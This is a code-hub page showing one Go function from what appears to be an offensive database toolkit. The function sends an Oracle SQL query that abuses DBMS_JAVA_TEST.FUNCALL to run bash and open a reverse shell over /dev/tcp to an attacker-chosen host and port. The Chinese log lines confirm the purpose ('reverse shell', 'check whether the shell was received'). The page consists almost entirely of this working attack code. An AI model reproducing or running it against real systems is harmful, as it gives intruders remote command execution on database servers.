MCPcopy Create free account
hub / github.com/Hel10-Web/Databasetools / OracleFuncCallReverse

Function OracleFuncCallReverse

pac/oracle_funcall.go:8–15  ·  view source on GitHub ↗
(conn *sql.DB, Lhost string, Lport string)

Source from the content-addressed store, hash-verified

6)
7
8func OracleFuncCallReverse(conn *sql.DB, Lhost string, Lport string) {
9 Info("通过dbms_java_test.funcall()反弹shell")
10 _, err := OracleCMD(fmt.Sprintf("Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','/bin/bash','-c','exec 9<> /dev/tcp/%s/%s;exec 0<&9;exec 1>&9 2>&1;/bin/bash') from dual ", Lhost, Lport), conn)
11 if err != nil {
12 Err(err)
13 }
14 Info("请查看是否收到shell")
15}

Callers 1

HelpFunction · 0.85

Calls 3

InfoFunction · 0.85
OracleCMDFunction · 0.85
ErrFunction · 0.85

Tested by

no test coverage detected